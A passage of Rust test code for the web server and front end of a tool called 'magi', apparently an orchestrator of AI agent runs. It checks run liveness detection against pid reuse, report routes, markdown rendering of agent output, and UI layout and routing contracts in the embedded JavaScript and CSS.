13104        let list = f.get("/api/runs").await.json();
13105        let labels: Vec<_> = list
13106            .as_array()
13107            .unwrap()
13108            .iter()
13109            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
13110            .collect();
13111        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
13112    }
13113
13114    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
13115    /// review` claims no daemon at all, so before this field existed the
13116    /// route above read it as `"dead"` — indistinguishable from a run a
13117    /// killed process abandoned — the whole time it was genuinely still
13118    /// answering. With a live pid recorded, it must read `"live"` even
13119    /// though no daemon claims it.
13120    #[tokio::test]
13121    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
13122        let f = Fixture::start().await;
13123        let id = "20260922-090000-cccc";
13124        let mut state = RunState::new(
13125            PathBuf::from("/repo/magi"),
13126            "main".to_owned(),
13127            "0123456789abcdef".to_owned(),
13128            "Review only".to_owned(),
13129            Config::default(),
13130        );
13131        state.id = id.to_owned();
13132        state.status = RunStatus::Reviewing;
13133        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13134        // This test process's own pid: guaranteed alive, and never needs a
13135        // real daemon or a second process to prove it. The matching start-time
13136        // marker is what `liveness` now requires alongside a live pid — see
13137        // `RunState::driver_started_at`'s own doc for why the pid alone is
13138        // not enough.
13139        state.driver_pid = Some(std::process::id());
13140        state.driver_started_at = Some(
13141            crate::proc::process_started_at(std::process::id())
13142                .expect("this test process's own start time must be queryable"),
13143        );
13144        let dir = f.runs().join(id);
13145        std::fs::create_dir_all(&dir).expect("run dir");
13146        std::fs::write(
13147            dir.join("run.json"),
13148            serde_json::to_string_pretty(&state).expect("serialize run"),
13149        )
13150        .expect("write run.json");
13151
13152        let detail = f.get(&format!("/api/runs/{id}")).await.json();
13153        assert_eq!(detail["live"], "live", "{detail}");
13154    }
13155
13156    /// A killed manual run's pid can be handed to a wholly unrelated later
13157    /// process — a live query on `driver_pid` alone would read this as
13158    /// `"live"`, exactly the false positive `driver_started_at` exists to
13159    /// catch (see that field's own doc, and `RunState::liveness_with`'s
13160    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
13161    #[tokio::test]
13162    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
13163        let f = Fixture::start().await;
13164        let id = "20260922-090100-dddd";
13165        let mut state = RunState::new(
13166            PathBuf::from("/repo/magi"),
13167            "main".to_owned(),
13168            "0123456789abcdef".to_owned(),
13169            "Review only".to_owned(),
13170            Config::default(),
13171        );
13172        state.id = id.to_owned();
13173        state.status = RunStatus::Reviewing;
13174        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13175        // This test process's own pid really is alive, but the marker
13176        // recorded here does not match what it actually started at —
13177        // standing in for the pid having since been reused by a different
13178        // process than the one that wrote `run.json`.
13179        state.driver_pid = Some(std::process::id());
13180        state.driver_started_at = Some("1".to_owned());
13181        let dir = f.runs().join(id);
13182        std::fs::create_dir_all(&dir).expect("run dir");
13183        std::fs::write(
13184            dir.join("run.json"),
13185            serde_json::to_string_pretty(&state).expect("serialize run"),
13186        )
13187        .expect("write run.json");
13188
13189        let detail = f.get(&format!("/api/runs/{id}")).await.json();
13190        assert_eq!(detail["live"], "dead", "{detail}");
13191    }
13192
13193    /// The deck's competition list is normally the first place an operator
13194    /// sees an old run. It must carry the same process verdict as detail, or
13195    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
13196    #[test]
13197    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
13198        let mk = |id: &str, pid: Option<u32>| {
13199            let mut s = RunState::new(
13200                PathBuf::from("/repo/magi"),
13201                "main".to_owned(),
13202                "0123456789abcdef".to_owned(),
13203                "Add a web UI".to_owned(),
13204                Config::default(),
13205            );
13206            s.id = id.to_owned();
13207            s.driver_pid = pid;
13208            s.driver_started_at = Some("1790000000".to_owned());
13209            s
13210        };
13211        let states = vec![
13212            mk("20260902-140502-aaaa", Some(77)),
13213            mk("20260902-140502-bbbb", Some(77)),
13214            mk("20260902-140502-cccc", Some(77)),
13215            mk("20260902-140502-dddd", None),
13216        ];
13217        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
13218        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
13219        let sup: HashMap<String, String> = [(
13220            "20260902-140502-aaaa".to_owned(),
13221            "20260902-140502-cccc".to_owned(),
13222        )]
13223        .into();
13224
13225        let status_calls = std::cell::Cell::new(0);
13226        let identity_calls = std::cell::Cell::new(0);
13227        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
13228            |_| {
13229                status_calls.set(status_calls.get() + 1);
13230                Some(true)
13231            },
13232            |_| {
13233                identity_calls.set(identity_calls.get() + 1);
13234                Some("1790000000".to_owned())
13235            },
13236        ));
13237        let rows = summarize(
13238            states,
13239            &open,
13240            &claimed,
13241            &sup,
13242            |p| probe.borrow_mut().status(p),
13243            |p| probe.borrow_mut().started_at(p),
13244        );
13245
13246        assert_eq!(status_calls.get(), 1, "one pid, one status query");
13247        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
13248        assert_eq!(rows.len(), 4);
13249        assert!(!rows[0].waiting && rows[1].waiting);
13250        assert_eq!(rows[0].live, crate::run::Liveness::Live);
13251        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
13252        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
13253        assert_eq!(rows[1].superseded_by, None);
13254    }
13255
13256    #[test]
13257    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
13258        let mut state = RunState::new(
13259            PathBuf::from("/repo/magi"),
13260            "main".to_owned(),
13261            "0123456789abcdef".to_owned(),
13262            "Review only".to_owned(),
13263            Config::default(),
13264        );
13265        state.id = "20260922-090200-dead".to_owned();
13266        state.status = RunStatus::Reviewing;
13267        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
13268            .expect("serialize list row");
13269        assert_eq!(row["status"], "reviewing");
13270        assert_eq!(row["live"], "dead", "{row}");
13271        assert!(!row["done"].as_bool().unwrap());
13272    }
13273
13274    #[tokio::test]
13275    async fn the_run_list_is_newest_first_and_honours_a_limit() {
13276        let f = Fixture::start().await;
13277        for id in [
13278            "20260902-140501-aaaa",
13279            "20260902-140502-bbbb",
13280            "20260902-140503-cccc",
13281        ] {
13282            write_run(&f.runs(), id, RunStatus::Merged);
13283        }
13284
13285        let all = f.get("/api/runs").await.json();
13286        let capped = f.get("/api/runs?limit=2").await.json();
13287
13288        assert_eq!(all[0]["id"], "20260902-140503-cccc");
13289        assert_eq!(all.as_array().map(Vec::len), Some(3));
13290        assert_eq!(capped.as_array().map(Vec::len), Some(2));
13291        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
13292    }
13293
13294    #[tokio::test]
13295    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
13296        let f = Fixture::start().await;
13297        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
13298
13299        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
13300
13301        assert_eq!(res.status, 200);
13302        assert!(
13303            res.headers
13304                .contains("content-type: text/plain; charset=utf-8"),
13305            "a browser must render it, not download it: {}",
13306            res.headers
13307        );
13308        // The assertion is on content, not on the absence of escapes: colour
13309        // is a process-global that `serve` turns off at startup, and another
13310        // test in this binary may own it while this one runs.
13311        assert!(
13312            res.body.contains("20260902-140501-a1b2"),
13313            "the report is about the run that was asked for: {}",
13314            res.body
13315        );
13316    }
13317
13318    #[tokio::test]
13319    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
13320        // The view names the run's state directory, which reads the process-global home.
13321        crate::run::pin_test_home();
13322        let f = Fixture::start().await;
13323        let id = "20260902-140501-a1b2";
13324        write_run(&f.runs(), id, RunStatus::Stalled);
13325        // A stalled panel and one review round, written through the real
13326        // state file so the route reads what a run really leaves behind.
13327        let path = f.runs().join(id).join("run.json");
13328        let mut v: serde_json::Value =
13329            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13330        v["tally"] = serde_json::json!({
13331            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
13332            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
13333            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
13334            "met_quorum": false, "rankings": 1
13335        });
13336        v["reviews"] = serde_json::json!([{
13337            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
13338            "e2e_deferred": true,
13339            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
13340                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
13341            ]}]
13342        }]);
13343        std::fs::write(&path, v.to_string()).unwrap();
13344        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
13345        std::fs::write(
13346            f.runs().join("20260902-140502-dead").join("run.json"),
13347            "{not json",
13348        )
13349        .unwrap();
13350
13351        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
13352
13353        assert_eq!(res.status, 200, "{}", res.body);
13354        assert!(res.headers.contains("content-type: application/json"));
13355        let j = res.json();
13356        assert_eq!(j["schema"], 1);
13357        assert_eq!(j["header"]["id"], id);
13358        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
13359        let kinds: Vec<&str> = j["sections"]
13360            .as_array()
13361            .unwrap()
13362            .iter()
13363            .map(|s| s["kind"].as_str().unwrap())
13364            .collect();
13365        assert_eq!(kinds, ["candidates", "tally", "review"]);
13366        let tally = &j["sections"][1]["tally"];
13367        assert_eq!(
13368            (tally["decided"].clone(), tally["provisional"].clone()),
13369            (false.into(), true.into())
13370        );
13371        let round = &j["sections"][2]["rounds"][0];
13372        assert_eq!(round["e2e"]["state"], "deferred");
13373        assert_eq!(round["findings"][0]["severity"], "major");
13374        assert_eq!(round["findings"][0]["blocking"], true);
13375        assert_eq!(round["findings"][0]["state"], "open");
13376
13377        // The raw route keeps working beside it.
13378        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
13379
13380        // An unreadable run is an error, as on the text route, and is counted.
13381        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
13382        assert_ne!(bad.status, 200, "{}", bad.body);
13383        assert_eq!(
13384            bad.status,
13385            f.get("/api/runs/20260902-140502-dead/report").await.status
13386        );
13387        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
13388        assert_eq!(
13389            f.get("/api/runs/20260902-999999-ffff/report.json")
13390                .await
13391                .status,
13392            404
13393        );
13394    }
13395
13396    #[tokio::test]
13397    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13398        let f = Fixture::start().await;
13399
13400        let html = f.get("/").await;
13401        let css = f.get("/app.css").await;
13402        let js = f.get("/app.js").await;
13403
13404        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13405        assert!(
13406            html.headers
13407                .contains("content-type: text/html; charset=utf-8")
13408        );
13409        assert!(css.headers.contains("content-type: text/css"));
13410        assert!(js.headers.contains("content-type: text/javascript"));
13411        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13412    }
13413
13414    #[test]
13415    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13416        let body = |name: &str| {
13417            let at = APP_JS
13418                .find(name)
13419                .unwrap_or_else(|| panic!("{name} missing"));
13420            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13421        };
13422        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13423        let note = body("function landRoundNote");
13424        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
13425        assert!(note.contains("Land round ${round}"));
13426        let land = body("function renderLand");
13427        let note_at = land
13428            .find("landRoundNote(pr)")
13429            .expect("renderLand uses the note");
13430        assert!(
13431            note_at
13432                < land
13433                    .find("roundRail(pr)")
13434                    .expect("renderLand uses the rail")
13435        );
13436    }
13437
13438    #[test]
13439    fn the_runs_page_redesign_keeps_its_guards() {
13440        let body = |name: &str| {
13441            let at = APP_JS
13442                .find(name)
13443                .unwrap_or_else(|| panic!("{name} missing"));
13444            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13445        };
13446        // A null child must never reach the native append (it prints "null").
13447        let land = body("function renderLand");
13448        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13449        assert!(
13450            !land.contains("box.append("),
13451            "renderLand must use append()"
13452        );
13453        assert!(land.contains("append(box, ["));
13454        // Tabs are hash routes; the run id alone decides a reload.
13455        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13456        assert!(
13457            body("function applyRoute")
13458                .contains("route.name !== state.route.name || route.id !== state.route.id")
13459        );
13460        // The decorative diagram is gone, the strip and its guards stay.
13461        assert!(!APP_JS.contains("adviseConvergeDiagram"));
13462        assert!(!INDEX_HTML.contains("advise-converge"));
13463        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13464        assert!(APP_JS.contains("provisional"));
13465        for id in [
13466            "run-tab-overview",
13467            "run-tab-timeline",
13468            "run-tab-report",
13469            "run-report",
13470            "runs-scope",
13471        ] {
13472            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13473        }
13474        assert!(!INDEX_HTML.contains("runs-tree"));
13475        assert!(!INDEX_HTML.contains("run-raw-panel"));
13476        // Fold still says it cannot be resumed.
13477        assert!(APP_JS.contains("resume"));
13478        // The unreadable-runs count stays on the page.
13479        assert!(APP_JS.contains("unreadable"));
13480    }
13481
13482    #[test]
13483    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13484        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13485        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13486        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
13487        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13488        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13489        // The subtitle still counts them whatever the banner does.
13490        assert!(APP_JS.contains("unreadable` : null"));
13491    }
13492
13493    #[test]
13494    fn the_run_detail_payload_says_whether_the_run_is_done() {
13495        // `landView` reads `run.done`; the detail response must carry it.
13496        for (status, done) in [
13497            (RunStatus::Superseded, true),
13498            (RunStatus::Blocked, true),
13499            (RunStatus::Landing, false),
13500        ] {
13501            let mut state = RunState::new(
13502                std::path::PathBuf::from("/repo"),
13503                "main".to_owned(),
13504                "abc".to_owned(),
13505                "x".to_owned(),
13506                crate::config::Config::default(),
13507            );
13508            state.status = status;
13509            let v = serde_json::to_value(RunDetailView::of(
13510                state,
13511                crate::run::Liveness::Unknown,
13512                None,
13513                None,
13514                None,
13515            ))
13516            .unwrap();
13517            assert_eq!(v["done"], done, "{status:?}");
13518        }
13519    }
13520
13521    /// The first node of a markdown block holds a `strong` somewhere.
13522    fn has_strong(nodes: &[md::Node]) -> bool {
13523        serde_json::to_string(nodes).unwrap().contains("strong")
13524    }
13525
13526    #[test]
13527    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13528        let mut state = RunState::new(
13529            std::path::PathBuf::from("/repo"),
13530            "main".to_owned(),
13531            "abc".to_owned(),
13532            "x".to_owned(),
13533            crate::config::Config::default(),
13534        );
13535        let proposal = |approach: &str| {
13536            serde_json::json!({
13537                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13538            })
13539        };
13540        state.advice = Some(
13541            serde_json::from_value(serde_json::json!({
13542                "records": [
13543                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13544                     "proposal": proposal("do **this**")},
13545                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13546                ],
13547                "synthesis": "- one\n- **two**\n\n`code`",
13548            }))
13549            .unwrap(),
13550        );
13551        state.candidates = serde_json::from_value(serde_json::json!([
13552            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13553             "summary": "did **it**"},
13554            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13555        ]))
13556        .unwrap();
13557        // Recorded in ascending severity, the reverse of how the page sorts
13558        // them: the arrays must follow the record, not the display.
13559        state.reviews = serde_json::from_value(serde_json::json!([{
13560            "round": 1, "head": "h",
13561            "reviews": [{
13562                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13563                "findings": [
13564                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
13565                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13566                ],
13567            }],
13568            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13569            "fix": {"agent": "a", "notes": "fixed **it**",
13570                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13571        }, {"round": 2, "head": "h2", "reviews": []}]))
13572        .unwrap();
13573
13574        let v = serde_json::to_value(RunDetailView::of(
13575            state,
13576            crate::run::Liveness::Unknown,
13577            None,
13578            None,
13579            None,
13580        ))
13581        .unwrap();
13582
13583        let strong = |p: &str| {
13584            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13585            assert!(n.to_string().contains("strong"), "{p}: {n}");
13586        };
13587        strong("/advice_md/synthesis");
13588        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13589        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13590        strong("/advice_md/approaches/0");
13591        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13592        strong("/candidate_summaries_md/0");
13593        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13594        strong("/reviews_md/0/reviewers/0/summary");
13595        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13596        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13597        assert!(f[1].to_string().contains("strong"));
13598        strong("/reviews_md/0/reconsideration/0");
13599        strong("/reviews_md/0/fix/notes");
13600        strong("/reviews_md/0/fix/rejected/0");
13601        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13602        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13603        // The raw strings stay, and no schema moved.
13604        assert_eq!(v["candidates"][0]["summary"], "did **it**");
13605        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13606    }
13607
13608    #[test]
13609    fn a_run_without_advice_has_no_advice_md() {
13610        let state = RunState::new(
13611            std::path::PathBuf::from("/repo"),
13612            "main".to_owned(),
13613            "abc".to_owned(),
13614            "x".to_owned(),
13615            crate::config::Config::default(),
13616        );
13617        let p = run_prose_md(&state);
13618        assert!(p.advice_md.is_none());
13619        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13620    }
13621
13622    #[test]
13623    fn a_question_view_carries_markdown_for_each_thread_turn() {
13624        let home = TempDir::new().unwrap();
13625        let store = ask::Questions::at(home.path().join("questions"));
13626        let mut q = Question::new(
13627            "run".to_owned(),
13628            "implement".to_owned(),
13629            "impl-A".to_owned(),
13630            "which?".to_owned(),
13631            String::new(),
13632            Vec::new(),
13633        );
13634        q.say("plain words").unwrap();
13635        q.reply("use **this**", Vec::new()).unwrap();
13636        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13637        let bodies = &v["thread_bodies_md"];
13638        assert_eq!(bodies.as_array().unwrap().len(), 2);
13639        assert!(!bodies[0].to_string().contains("strong"));
13640        assert!(bodies[1].to_string().contains("strong"));
13641    }
13642
13643    #[test]
13644    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13645        let home = TempDir::new().unwrap();
13646        let store = ask::Questions::at(home.path().join("questions"));
13647        let mut q = Question::new(
13648            "run".to_owned(),
13649            "conduct".to_owned(),
13650            "conduct".to_owned(),
13651            "which?".to_owned(),
13652            String::new(),
13653            Vec::new(),
13654        );
13655        q.say("plain words").unwrap();
13656        q.thread.push(ask::Turn {
13657            who: ask::Who::Agent,
13658            body: "Settled as `merge`".to_owned(),
13659            at: jiff::Timestamp::now(),
13660            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13661        });
13662        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13663        let notes = &v["thread_notes_md"];
13664        assert_eq!(notes.as_array().unwrap().len(), 2);
13665        assert!(notes[0].is_null());
13666        let text = notes[1].to_string();
13667        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13668        assert!(APP_JS.contains("ask-turn-note"));
13669    }
13670
13671    #[test]
13672    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13673        // The land panel defers to `run.status` for merged, and labels a
13674        // recorded-open PR on any finished run (superseded, blocked, ...) as
13675        // last seen, never as live state.
13676        assert!(APP_JS.contains("function landView(run, raw) {"));
13677        assert!(
13678            APP_JS.contains(
13679                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13680            )
13681        );
13682        assert!(APP_JS.contains("const pr = landView(run, raw);"));
13683        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13684        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13685        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13686    }
13687
13688    #[test]
13689    fn live_runs_are_never_hidden_or_folded_as_superseded() {
13690        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
13691        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13692        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13693        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13694    }
13695
13696    #[test]
13697    fn review_rounds_label_a_distinct_verified_head() {
13698        assert!(APP_JS.contains("round.verified_head"));
13699        assert!(APP_JS.contains("verified HEAD"));
13700        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13701    }
13702
13703    #[test]
13704    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13705        // A blocked task's chip and note must not fall back to a queued-like
13706        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
13707        // itself by e11fc58 but never checked here.
13708        assert!(APP_JS.contains("blocked: { glyph:"));
13709        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13710
13711        // `blocked_by` mixes task ids and question ids in the same list, and
13712        // the client can only tell them apart by checking each id against
13713        // what it actually knows - never by guessing from the id's shape.
13714        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13715        assert!(
13716            APP_JS.contains(
13717                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13718            ),
13719            "the note line must name what a blocked task is waiting on, not just that it is blocked"
13720        );
13721        // The classification must key off `status_str`, never off `blocked_by`
13722        // or `block_reason` merely being present - both can survive briefly
13723        // on a task a hold or a dead daemon just moved off `blocked`.
13724        assert!(APP_JS.contains("if (status === \"blocked\") {"));
13725
13726        // A question a task is blocked on gets its own node in the same
13727        // dependency graph, not just a task-shaped node with nothing known
13728        // about it.
13729        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13730        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13731        assert!(
13732            APP_JS.contains("location.hash = \"#/questions\";"),
13733            "a question node must jump to the Questions screen, not pretend to be a task"
13734        );
13735
13736        // `Task::answers` - decisions already made - are shown as a record on
13737        // the card, the same disclosure style as the full instruction.
13738        assert!(APP_JS.contains("Resolved questions"));
13739        assert!(APP_JS.contains("r.answersList.append("));
13740        assert!(APP_CSS.contains(".task-answers"));
13741        {
13742            let start = APP_JS
13743                .find("function updateTalkTaskRow")
13744                .expect("updateTalkTaskRow");
13745            let body = &APP_JS[start..];
13746            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13747            assert!(
13748                body.contains(
13749                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13750                ),
13751                "a chat-filed task row must link to the task page"
13752            );
13753            assert!(
13754                !body.contains("#/runs/") && !body.contains("#/queue/"),
13755                "the row must not branch to a run or the queue card"
13756            );
13757            assert!(APP_CSS.contains(".talk-task-link"));
13758        }
13759    }
13760
13761    #[test]
13762    fn a_task_notification_links_to_the_task_page() {
13763        // A task notice opens the task detail page, not the Backlog card.
13764        let start = APP_JS
13765            .find("function noticeLink(")
13766            .expect("noticeLink exists");
13767        let body = &APP_JS[start..];
13768        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13769        assert!(
13770            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13771            "a task notice's link must target the task page"
13772        );
13773        assert!(
13774            !body.contains("#/queue/"),
13775            "regression: the task link must not go back to the Backlog route"
13776        );
13777        assert!(
13778            APP_JS.contains(
13779                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13780            ),
13781            "`#/tasks/<id>` must parse into the task route"
13782        );
13783
13784        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
13785        assert!(
13786            APP_JS.contains(
13787                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13788            ),
13789            "`#/queue/<id>` must parse into a route carrying that id"
13790        );
13791
13792        // And the Backlog view has to actually land on the card once it can
13793        // - see consumeQueueFocus(), which renderQueue() calls on every pass
13794        // so a focus set before the queue has loaded is retried once it has.
13795        assert!(APP_JS.contains("state.queueFocus = route.id;"));
13796        assert!(APP_JS.contains("function consumeQueueFocus()"));
13797        assert!(APP_JS.contains("jumpToTask(id)"));
13798    }
13799
13800    /// Chat rows are two lines at every width: the title alone, then the
13801    /// shrinkable secondary info.
13802    #[test]
13803    fn chat_rows_put_the_title_alone_on_the_first_line() {
13804        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
13805        assert!(APP_CSS.contains(
13806            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13807        ));
13808        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13809        assert!(APP_JS.contains("class: \"badge talk-unread\""));
13810    }
13811
13812    #[test]
13813    fn run_rows_put_the_title_alone_on_the_first_line() {
13814        assert!(
13815            APP_CSS.contains(
13816                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
13817            )
13818        );
13819        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13820        assert!(APP_JS.contains("class: \"card run-card\""));
13821        assert!(APP_JS.contains("class: \"repo run-id\""));
13822    }
13823
13824    /// Wide screens get a master/detail layout built from the views a phone
13825    /// drills into. These are string assertions: they pin the contract between
13826    /// the three assets, not how it looks.
13827    #[test]
13828    fn wide_screens_show_list_and_preview_side_by_side() {
13829        // One breakpoint, spelled the same in the script and the stylesheet.
13830        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13831        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13832        assert!(APP_CSS.contains("main[data-split]"));
13833        assert!(APP_CSS.contains("body[data-split]"));
13834
13835        // The route -> panes table, and a narrow screen opting out of it.
13836        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
13837        assert!(
13838            APP_JS.contains(
13839                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13840            )
13841        );
13842        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13843        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13844        assert!(INDEX_HTML.contains("id=\"split-empty\""));
13845
13846        // Selection is derived from the route, and only ever paints a row.
13847        assert!(APP_JS.contains("function markSelected() {"));
13848        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13849        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13850        // The dense row must override the stacked card the 720px block sets up.
13851        assert!(
13852            APP_CSS.contains(
13853                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13854            )
13855        );
13856
13857        // Independent scrolling: the page stops scrolling, each pane does.
13858        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13859        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13860        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13861        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13862
13863        // A refresh must never navigate: the loaders still check that their
13864        // subject is the one on screen, and crossing the breakpoint only
13865        // re-reads the hash.
13866        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13867        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13868        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13869        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13870
13871        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
13872        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13873    }
13874
13875    #[test]
13876    fn panel_sandbox_carries_exactly_popups() {
13877        let needle = "sandbox: \"";
13878        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13879        assert_eq!(
13880            matches.len(),
13881            1,
13882            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13883        );
13884        let start = matches[0].0 + needle.len();
13885        let end = APP_JS[start..]
13886            .find('"')
13887            .expect("sandbox attribute value must be terminated by a closing quote");
13888        let val = &APP_JS[start..start + end];
13889        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13890        let expected: std::collections::BTreeSet<&str> =
13891            ["allow-popups", "allow-popups-to-escape-sandbox"]
13892                .into_iter()
13893                .collect();
13894        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
